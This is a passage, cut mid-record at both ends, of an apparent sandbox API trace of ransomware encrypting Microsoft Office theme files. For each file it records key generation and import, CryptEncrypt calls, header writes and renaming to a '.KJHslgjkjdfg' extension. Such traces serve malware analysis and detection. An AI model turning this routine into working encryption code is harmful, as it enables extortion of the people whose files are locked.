nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0196.854] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.854] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0196.855] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a92d0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0196.855] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0196.860] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0196.862] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a92d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.862] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0196.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.863] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0196.863] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.863] SetEndOfFile (hFile=0x124) returned 1 [0196.866] GetProcessHeap () returned 0x2a0000 [0196.866] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.866] GetProcessHeap () returned 0x2a0000 [0196.866] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.kjhslgjkjdfg")) returned 1 [0196.868] CloseHandle (hObject=0x124) returned 1 [0196.868] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0196.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.870] GetProcessHeap () returned 0x2a0000 [0196.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.870] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.870] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.870] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x1, lpOverlapped=0x0) returned 1 [0196.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.873] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.873] GetProcessHeap () returned 0x2a0000 [0196.873] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.873] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.873] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.873] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.874] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.874] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.874] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.874] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.874] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.874] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.874] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.874] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x555df, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x555df, lpOverlapped=0x0) returned 1 [0196.883] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x555e0, dwBufLen=0x555e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x555e0) returned 1 [0196.885] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.886] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x555e0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x555e0, lpOverlapped=0x0) returned 1 [0196.887] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.887] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x556b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.887] SetEndOfFile (hFile=0x124) returned 1 [0196.890] GetProcessHeap () returned 0x2a0000 [0196.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.890] GetProcessHeap () returned 0x2a0000 [0196.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.kjhslgjkjdfg")) returned 1 [0196.892] CloseHandle (hObject=0x124) returned 1 [0196.892] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0196.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.893] GetProcessHeap () returned 0x2a0000 [0196.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.894] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.894] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.894] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0196.897] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.897] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.897] GetProcessHeap () returned 0x2a0000 [0196.897] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.897] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.897] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.897] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.897] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.897] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.897] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.897] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.898] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.898] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.898] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.898] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.898] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10f61, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x10f61, lpOverlapped=0x0) returned 1 [0196.900] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10f70, dwBufLen=0x10f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10f70) returned 1 [0196.901] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.901] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10f70, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10f70, lpOverlapped=0x0) returned 1 [0196.901] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.901] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.901] SetEndOfFile (hFile=0x124) returned 1 [0196.904] GetProcessHeap () returned 0x2a0000 [0196.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.904] GetProcessHeap () returned 0x2a0000 [0196.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.kjhslgjkjdfg")) returned 1 [0196.906] CloseHandle (hObject=0x124) returned 1 [0196.906] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0196.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.908] GetProcessHeap () returned 0x2a0000 [0196.908] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.908] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.908] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.911] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.911] GetProcessHeap () returned 0x2a0000 [0196.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.911] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.911] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.911] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.911] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.911] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.911] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.911] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.911] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.911] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.911] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.911] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc278, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xc278, lpOverlapped=0x0) returned 1 [0196.913] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xc280, dwBufLen=0xc280 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xc280) returned 1 [0196.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.914] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc280, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xc280, lpOverlapped=0x0) returned 1 [0196.914] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xc354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.914] SetEndOfFile (hFile=0x124) returned 1 [0196.916] GetProcessHeap () returned 0x2a0000 [0196.917] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.917] GetProcessHeap () returned 0x2a0000 [0196.917] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.kjhslgjkjdfg")) returned 1 [0196.918] CloseHandle (hObject=0x124) returned 1 [0196.918] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0196.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.920] GetProcessHeap () returned 0x2a0000 [0196.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.920] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.920] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.920] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.922] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.922] GetProcessHeap () returned 0x2a0000 [0196.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.922] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.922] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.922] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.922] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.922] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.922] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.923] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.923] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.923] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.923] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd748, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd748, lpOverlapped=0x0) returned 1 [0196.924] CryptEncrypt (in: 